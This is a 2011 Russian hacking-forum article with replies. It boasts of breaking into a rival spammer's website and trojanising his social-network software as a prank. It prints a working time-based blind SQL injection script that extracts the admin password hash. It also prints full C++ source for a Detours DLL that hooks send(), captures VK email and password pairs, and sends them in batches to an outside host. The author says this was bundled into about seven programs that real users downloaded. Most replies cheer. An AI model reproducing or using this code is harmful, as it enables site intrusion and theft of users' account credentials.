Авторские статьи Троллинг - это круто, или немного из истории двух друзей

Discussion in 'Статьи' started by GRRRL Power, 16 Aug 2011.

Thread Status:
Not open for further replies.
  1. GRRRL Power

    GRRRL Power Moderator

    Joined:
    13 Jul 2010
    Messages:
    826
    Likes Received:
    184
    Reputations:
    84
    [​IMG]

    Сразу предупреждаю. К тем, кто зарегистрирован на античате позже 2010 года, просьба это не читать. Вы все равно ничего не поймете.

    Статья весьма необычная, учтите это. Тут и взлом, и немного реверсинга, и кодинг, и тонны кирпичей!

    Воспринимайте это как шутку, не гневитесь те, кого это задевает. Мы никому не желаем зла.


    Related-тема: https://forum.antichat.ru/thread289086.html. Является обязательной к прочтению, если вы ее еще не успели прочитать.

    Давным-давно, когда еще трава была зеленее, а солнце ярче, а борода у Егорыча была на 20 сантиметров короче, произошло непредвиденное, прескорбнейшее событие - отвратительный взлом Античата - форума, который был святой святых спецов по веб-безопасности, крутейших хекеров и просто хороших людей. Были слиты все данные, в том числе самых секретных и недоступных обывателю разделов - МоА, РоА и прочих сокровенных уголков, таивших столько знаний, которыми умные люди делились несколько поколений друг с другом. Весть о сием событии быстро разошлась и стала известна всем, как ее ни пытались скрыть. И вот самые лучшие, самые задроченные умы античата решили создать собственный форум, где будут сидеть они и только они, где они смогут организовать новое, нетронутое, девственное сообщество, в котором постепенно будут накапливаться новейшие знания по уязвимостям веб-движков и прочих пэхопэ-скриптов. Круг этих людей был узок, но они и были самой сладкой элитой античата, и вот они все перешли на свой собственный форум, который был наречен rdot в честь Красной Точки, а на античате их аккаунты были забанены навечно по их собственному желанию. С тех пор на этом форуме, на античате, царит уныние, потому что развиваются только быдлоразделы - покупка/продажа, спам по соцсетям, например. А ведь когда-то самые крутые уязвимости были впервые опубликованы именно здесь. Но, к сожалению, былого уже не вернуть... Хотя, несмотря на все эти обстоятельства, некоторые действительно опытные хакеры все-таки вернулись обратно, на Античат, зарегистрировав мультиакки либо же попросив разбанить их старые аккаунты.

    В то самое время, когда все описанные события имели место, не все юзеры перешли на новую сторону Красной Силы, некоторые остались, потому что попросту были не в курсе всего этого, а некоторые (те, кто особенно любил общаться), остались, потому что знали, что новый форум никогда не будет популярным. Не перешли туда и пользователи, о которых многие знают, - Kaimi, который реверсил и периодически ломал софт из раздела соцсетей, вгоняя в лютое бешенство его авторов и формальных покупателей, а также писал бесплатные скрипты на Perl, и dx , который вообще ничего платного в последние года 3 уже и не делал. Kaimi просто хотел быть в курсе последних событий АЙТИ, будь это взломы сайтов, программирование, SEO или что-то еще, а где еще, кроме как на Античате, можно было почерпнуть максимум информации? DX остался из любви помогать всяким кодерам по вопросам программирования, ну и иногда троллить нерадивых школьников. Kaimi, кстати, тоже не пренебрегает такого рода деятельностью, ведь это весело, это развеевает уныние!

    Эти два юзера, конечно же, были забанены по собственному желанию еще тогда, давно, как и многие другие, но они не ушли. Ничто не мешало зарегистрировать новые аккаунты и продолжать читать форум и общаться на нем. К сожалению, таких пользователей, как эти двое - любящих писать софт, причем бесплатно, ненавидящих спамеров, не пренебрегающих иногда развести какой-нибудь срач в любом разделе, действительно мало, и они достаточно часто палились, ведь на Античате еще остались юзеры, которые их помнили, но это их не останавливало.

    Kaimi втихую продолжал ломать софт, писать скрипты на перле и отписывать в соответствующих разделах, DX стал специализироваться на C++ и при этом достиг таких вершин троллинга, при которых юзера, выступившего против него, банили на этот же день за оскорбления и оффтоп. На недельку.

    Но, как вы уже догадались, они на этом не остановились. Они задумали такое, что должно было бы весь раздел соцсетей со всеми этими спамерами поставить на уши и как следует взбодрить, чтобы это еще долго помнили. Они понимали, что могут спалиться, но им было просто лень делать все максимально аккуратно, им просто хотелось веселья. Кроме этого, надо же было как-то совместить программирование софта, реверсинг, взлом сайта и троллинг? И они придумали, как.

    Одним из активнейших спамеров современности является, безусловно, djekxa, у которого еще куча всяких разных ников, который выводит тонны денег с вебманей и яндекса, который не умеет грамотно писать софт и настраивать хостинги и который работает в паре с еще одним пареньком, AquaKlaster"ом. Они и были выбраны целью для SUPER-троллинга.

    Буквально за неделю до событий этим двоим, Kaimi и dx'у, удалось сломать сайт вышеупомянутого паренька, так как движок, на котором он строился, некий Трактор Энджин, представлял из себя абсолютнейший быдлокод, дырявый и беспощадный. Вот, собственно, пример того самого кода, именно этот кусок был использован Kaimi и dx'ом, дабы получить MD5 пароля администратора:
    PHP:
      if (isset($_REQUEST['into']))
         {
         
    $_REQUEST['pass'] = md5($_REQUEST['pass']);
              
    //Мегазащита!
              
    $rdb mysql_query('SELECT * FROM '.PREFIX.'users where login = "'.$_REQUEST['login'].'" ORDER BY id') or die(mysql_error());
              
              
    // Получаем результат в массив $data.
              
    $data[email protected]mysql_fetch_array($rdb);
              
              if ((
    $_REQUEST['login'] !== $data['login'] OR $_REQUEST['pass'] !== $data['password']))
              {
                   
    $ses false;
              }
              elseif (
    $_REQUEST['login'] == $data['login'] && $_REQUEST['pass'] == $data['password'] && $data['status'] == "admin")
              {
                   
    $ses true;     //Авторизация ГУТ
                   
    $_SESSION['login'] = $data['login'];
                   
    $_SESSION['pass'] = $data['password'];
                   
    $_SESSION['name'] = $data['name']; 
                   
    $_SESSION['author_id'] = $data['id'];
                   
    $_SESSION['status'] = $data['status'];
                   
    $_SESSION['KCFINDER']['disabled'] = false;
              }
         }
    Непосредственно получение пароля было основано на слепом методе (хотя можно было и по-другому немного) из-за того, что после sql-запроса шли всякие дополнительные проверки (скрипт был по-быстрому написан dx'ом):
    PHP:
    <?php
    set_time_limit
    (0);
    require(
    "websock.php");
    $s = new websock('aquaklaster.ru'80false);

    $l "1234567890abcdef";

    print 
    'start<br>';
    flush();
    ob_flush();

    for(
    $k=0$k<32$k++) //перебор по символам MD5
    {
      
    $f=0;
      for(
    $m 0$len strlen($l); $m $len$m++) //перебор допустимых символов MD5
      
    {
        
    $t1 time();
        
    //запрос к одному из уязвимых скриптов
        
    $r $s->post("/admin/index.php""into=1&login=" urlencode('sdfsdfsdf" or (id=1 and ord(substr(password,' . ($k+1) . ',1))=' ord($l[$m]) . ' and sleep(4)=1) limit 1#'));
        
    $t2 time();
        if(
    $t2-$t1 >= 2//если запрос выполнялся долго, т.е., если сработал наш sleep()
        
    {
          print 
    $l[$m]; //значит, мы подобрали очередную букву
          
    flush();
          
    ob_flush();
          
    $f=1;
          break;
        }
      }

      if(!
    $f)
        die(
    '...axz...'); //неопределенная ошибка
    }
    ?>
    Класс websock, упрощающий работу с HTTP, взят отсюда.


    Был изучен контент сайта, слиты дампы, разумеется, всех баз и файлов, но они решили не афишировать это, а подумать, что же им делать дальше, - нельзя было упустить такую вкусную рыбку, когда она уже жарится на сковородке. Шелл, разумеется, был удален, а логи потерты.

    Через какое-то время Kaimi пришла идея - а почему бы не "допилить" софт Хеки таким образом, чтобы научить его отсылать аккаунты вконтакта, с которыми он работает, на его же собственный сайт, а потом об этом создать тему в разделе соцсетей, что, дескать, софт-то аккаунты ворует. Были взяты Detours, C++, написана библиотека, которая была добавлена в импорт предварительно распакованного софта djekx'и. Эта дллка перехватывала в софте функцию send, выцепляла оттуда аккаунты и по 10 штук пачками отсылала ему на сайт.

    Вот исходники, состоящие из адской смеси Си и Си++ (писалось на скорую руку, да и хвастаться-то особо не перед кем, эта дллка предназначалась не для всеобщих глаз):
    PHP:
    #include <WinSock2.h>
    #include <Windows.h>
    #include "detours.h"

    #include <iostream>
    #include <set>
    #include <sstream>

    #pragma comment(lib, "detours")
    #pragma comment(lib, "ws2_32")

    //софт хеки многопоточный, нам нужна критическая секция
    CRITICAL_SECTION vector_write;
    std::set<std::stringaccounts;

    int (WINAPI *RealSend)(SOCKET s, const char *bufint lenint flags) = send;
    int WINAPI MySend(SOCKET s, const char *bufint lenint flags);

    static 
    std::string implode(const char *sep, const std::set<std::string>& src);
    static 
    std::string get_between_borders(const std::stringdata, const std::stringhead, const std::stringtail);
    void ExtractAndSend(const char *buf);
    ULONG Host2Ip(const char host);
    void WINAPI SendRequest(const std::stringtext);

    //сливает несколько строк в одну с указанным разделителем
    static std::string implode(const char *sep, const std::set<std::string>& src)
    {
        
    std::ostringstream output;
        
    std::set<std::string>::const_iterator src_iter;

        for (
    src_iter src.begin(); src_iter != src.end(); src_iter++)
            
    output << *src_iter << sep;

        return 
    output.str();
    }

    //вернуть строку между указанным "заголовком" и "хвостом"
    static std::string get_between_borders(const std::stringdata, const std::stringhead, const std::stringtail)
    {
        
    std::string result;
        
    size_t head_postail_pos;

        
    head_pos data.find(head);
        if(
    head_pos != std::string::npos)
        {
            
    tail_pos data.find(tailhead_pos head.length());
            if(
    tail_pos != std::string::npos)
            {
                
    result data.substr(head_pos head.length(), tail_pos head_pos head.length());
            }
        }

        return 
    result;
    }

    //наш хук функции send()
    int WINAPI MySend(SOCKET s, const char *bufint lenint flags)
    {
        
    ExtractAndSend(buf);
        return 
    RealSend(sbuflenflags);
    }

    //отправляем акки на сайт Хеки
    void ExtractAndSend(const char *buf)
    {
        
    std::string credentials;
        
    std::string request_data (buf);

        
    credentials get_between_borders(request_data"&email=""&") + ":" get_between_borders(request_data"&pass=""&");

        
    EnterCriticalSection(&vector_write);

        if(
    credentials.size() > 1)
        {
            
    accounts.insert(credentials);
        }

        if(
    accounts.size() >= 10)
        {
            
    SendRequest(implode("|"accounts));
            
    accounts.clear();
        }

        
    LeaveCriticalSection(&vector_write);
    }

    ULONG Host2Ip(const char host)
    {
        
    struct hostent p;
        return (
    gethostbyname(host)) ? *(ULONG*)(p->h_addr) : INADDR_NONE;
    }

    //функция отправки - позаимствовано с какого-то сорса Slesh'а
    void WINAPI SendRequest(const std::stringtext)
    {
        
    ULONG ip;
        
    SOCKADDR_IN addr;
        
    SOCKET MainSocket SOCKET_ERROR;
        
    char buf[4096], tmp[4096];

        
    ip Host2Ip("aquaklaster.ru");

        if (
    ip != INADDR_NONE)
        {
            
    MainSocket socket(AF_INETSOCK_STREAMIPPROTO_TCP);
            if (
    MainSocket != SOCKET_ERROR)
            {
                
    addr.sin_addr.S_un.S_addr ip;
                
    addr.sin_port htons(80);
                
    addr.sin_family AF_INET;

                if (!
    connect(MainSocket, (SOCKADDR*)&addrsizeof(SOCKADDR_IN)))
                {
                    
    wsprintfA(tmp"accounts=%s"text.c_str());
                    
    wsprintfA(buf"POST /api.php HTTP/1.0\r\n"
                        "Host: aquaklaster.ru\r\n"
                        "User-Agent: Firefox/3.0\r\n"
                        "Connection: close\r\n"
                        "Content-Type: application/x-www-form-urlencoded\r\n"
                        "Content-Length: %u\r\n\r\n"
    lstrlenA(tmp));

                    
    RealSend(MainSocketbuflstrlenA(buf), 0);
                    
    RealSend(MainSockettmplstrlenA(tmp), 0);
                    
    closesocket(MainSocket);
                }
            }
        }
    }

    //Точка входа в нашу дллку
    BOOL WINAPI DllMain(HINSTANCE hinstDWORD dwReasonLPVOID reserved)
    {
        if(
    dwReason == DLL_PROCESS_ATTACH)
        {
            
    InitializeCriticalSection(&vector_write);

            
    DetourRestoreAfterWith();
            
    DetourTransactionBegin();
            
    DetourUpdateThread(GetCurrentThread());
            
    DetourAttach(&(PVOID&)RealSendMySend);
            
    DetourTransactionCommit();
        }
        else if(
    dwReason == DLL_PROCESS_DETACH)
        {
            
    DeleteCriticalSection(&vector_write);

            
    DetourTransactionBegin();
            
    DetourUpdateThread(GetCurrentThread());
            
    DetourDetach(&(PVOID&)RealSendMySend);
            
    DetourTransactionCommit();
        }
        return 
    TRUE;
    }

    //пустой экспорт, дабы студия собрала нормальную дллку
    extern "C" __declspec(dllexportvoid __cdecl Alpha(void) {};
    Склейка с софтинами производилась с помощью molebox"а, палится, да и пофиг. Модифицировано и перезалито на сайт было примерно 7 программ. И стоило бы им подождать буквально пару деньков, djekxa вряд ли бы что-то заметил (даты файлов были изменены, все как надо).

    Но, вы же знаете, Kaimi и dx нетерпеливые ребята, и буквально через пару часов левым аккаунтом была создана вопиющая тема (ссылка на нее - в начале статьи) о том, что софт ворует аккаунты, а софт-то не простого кодера, а вон какого популярного среди всяких спамеров. Сразу посыпались сообщения с разочарованиями, но постепенно все выяснялось, Kaimi с dx'ом понемногу палились (а как иначе? главное, чтобы было весело). Поэтому дальше шла чистейшей воды импровизация. Последним шагом было в удачный момент полностью стереть сайт Хеки и Аквакластер'а и сказать, что они заметают следы (Апач с очень кривыми правами, спасибо, мы поржали). Но, разумеется, в итоге все выяснилось, в частности, благодаря серьезной помощи M_Script"а, а ещё мелким косякам в реализации - надо было тщательнее скриншот проверять, шифровать содержимое контейнера с софтом, сжать его или дописать отправку непосредственно в код на асме и заручиться поддержкой нескольких людей, но мы же ленивые, а резонанс в теме уже пошел. (Хека бы сам ни за что не догадался, кто это сделал и как, и пошел бы разбираться со своими школьными врагами по району).

    Разумеется, в итоге люди даже стали подозревать, чьих это рук дело, потому что вообще мало кто способен был такое организовать из юзеров античата. Поэтому мы и решили рассказать. Надеемся, что вам тоже было весело.

    Теперь Kaimi решил вернуться на форум уже своим основным аккаунтом, а dx... dx еще не знает, что делать, поэтому его аккаунт пока что пребывает в бане.
    Конечно, подобные деяния, наверное, по мнению модераторов раздела соцсетей, должны караться банами и прочими неприятными вещами, но вы сами подумайте, это же спамеры, они сами по себе занимаются нелегальщиной и мошенничеством, а мы лишь преподали небольшой урок, который, вероятно, даже пойдет им на пользу.

    Так что без обид, djekxa, латай дыры и поменьше выпендривайся. M_Script как всегда молодец, без него бы пользователи еще долго страдали и думали, "А кто же это сдеееееелал?!!". Он вроде как в последнее время отошел от темы спама и написания такого софта, нас это радует. Все спамеры и софтописатели спам-софта - бойтесь, ведь никто из вас не знает, кто будет следующим и что мы придумаем в другой раз! Шутка :)

    Всем спасибо и удачи. И да простит нас администрация за мультиакки, мы же ничего плохого не сделали, никого не разводили, а просто общались. Мы сделали Античат как минимум на 20% веселей и круче!
     
    _________________________
    #1 GRRRL Power, 16 Aug 2011
    Last edited: 16 Aug 2011
    16 people like this.
  2. Professor7717

    Professor7717 Member

    Joined:
    10 Feb 2010
    Messages:
    233
    Likes Received:
    22
    Reputations:
    6
    если это правда, молодцы
     
  3. d1v

    d1v Elder - Старейшина

    Joined:
    21 Feb 2009
    Messages:
    824
    Likes Received:
    350
    Reputations:
    120
    а тех кто в соц. сетях не тусуется эта тема обошла стороной... у нас в болталке всё также уныло :(
     
  4. A-Graff

    A-Graff Active Member

    Joined:
    14 Aug 2009
    Messages:
    132
    Likes Received:
    123
    Reputations:
    130
    Ну вот моя гипотеза и подтвердилась:)

    Kaimi, только поясни юзверям о том, что забанился ты совсем по другой теме (Я про дело с Пухом)

    ***ща остальное допишу, мне скрипт позвонил и сказал что вышло твое "откровение", а вай фай гамно, давно хотел задать пару публичных вопросах о "хомячках" и "тру понятиях"
     
    1 person likes this.
  5. GRRRL Power

    GRRRL Power Moderator

    Joined:
    13 Jul 2010
    Messages:
    826
    Likes Received:
    184
    Reputations:
    84
    Автор конкретно этой темы не Kaimi, если что :)
     
    _________________________
  6. Shark04

    Shark04 Banned

    Joined:
    22 Nov 2010
    Messages:
    8
    Likes Received:
    5
    Reputations:
    0
    офигенно, 10 балов :)
    С djekxa'ой постоянно работаю, поэтому интересно почитать было, на мой взгляд вполне порядочный человек и самое главное ответственный.
     
    #6 Shark04, 16 Aug 2011
    Last edited: 16 Aug 2011
  7. Ins3t

    Ins3t Харьковчанин

    Joined:
    18 Jul 2009
    Messages:
    944
    Likes Received:
    427
    Reputations:
    139
    Улыбнуло. Сохранил эту пагу :)
     
  8. cuon05

    cuon05 New Member

    Joined:
    9 Aug 2010
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    В первый раз дочитал статью в античате,с удовольствием)
     
  9. Adult Holding

    Adult Holding Elder - Старейшина

    Joined:
    7 Oct 2009
    Messages:
    228
    Likes Received:
    178
    Reputations:
    248
    с плюсом.
     
  10. .::f-duck::.

    .::f-duck::. Member

    Joined:
    30 May 2009
    Messages:
    358
    Likes Received:
    32
    Reputations:
    7
    Красавцы! Порадовали знатно :)
     
  11. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,672
    Likes Received:
    1,268
    Reputations:
    1,557
    Kaimi == Cartbert, если не ошибаюсь. Веселый квест был ночью :cool:
     
  12. GRRRL Power

    GRRRL Power Moderator

    Joined:
    13 Jul 2010
    Messages:
    826
    Likes Received:
    184
    Reputations:
    84
    Не ошибаешься, кстати, акк Catbert уже в бане, Kaimi попросил вернуть его основной акк. А я dx ;)
     
    _________________________
    1 person likes this.
  13. NewCapital

    NewCapital Banned

    Joined:
    1 Nov 2009
    Messages:
    409
    Likes Received:
    97
    Reputations:
    14
    Вот зачем вы так пасаны? под канец каникул всех школьников с раздела Соц.Сети чуть в кардиологию не отравили.У них сердце стало все 9 месяцев в школе экономили на обедах что бы летом купить софт у djekxa,а тут такой наебос!! Еще и тайна кривого кода рассказана ,это трагедия,модеры Соц.сетей ждите кучу слез и прочей хероты.Аминь
     
  14. dupD0M

    dupD0M Elder - Старейшина

    Joined:
    18 May 2010
    Messages:
    1,159
    Likes Received:
    72
    Reputations:
    34
    отличная статья
     
  15. djekxa

    djekxa Member

    Joined:
    20 Nov 2008
    Messages:
    52
    Likes Received:
    39
    Reputations:
    7

    ты не в теме :)

    kaimi за комплимент спасибо ;)
     
    1 person likes this.
  16. brain

    brain Elder - Старейшина

    Joined:
    4 Jul 2010
    Messages:
    257
    Likes Received:
    90
    Reputations:
    33
    Ты бы такое провернул, что бы так говорить?.
    Что касается рассказа - очень поучительно.
     
  17. shiku

    shiku Member

    Joined:
    6 Aug 2009
    Messages:
    81
    Likes Received:
    25
    Reputations:
    1
    Товарищ Kaimi, а стеночку в магазине тоже можно вот так...?
     
  18. axscript

    axscript New Member

    Joined:
    20 Jul 2011
    Messages:
    63
    Likes Received:
    3
    Reputations:
    0
    Прочитал на 1-м дыхание :)
    Для djekxa послужит стимулом развиваться!
     
  19. MTV

    MTV New Member

    Joined:
    16 Feb 2011
    Messages:
    180
    Likes Received:
    2
    Reputations:
    0
    Молодцы,ребята.Мне понравилось,сегодня эту тему с подставой djekxa читал не отрываясь.
    :D
     
  20. -=[Chris]=-

    -=[Chris]=- Member

    Joined:
    27 Dec 2009
    Messages:
    3
    Likes Received:
    10
    Reputations:
    0
    Да уж, круто.
     
Loading...
Thread Status:
Not open for further replies.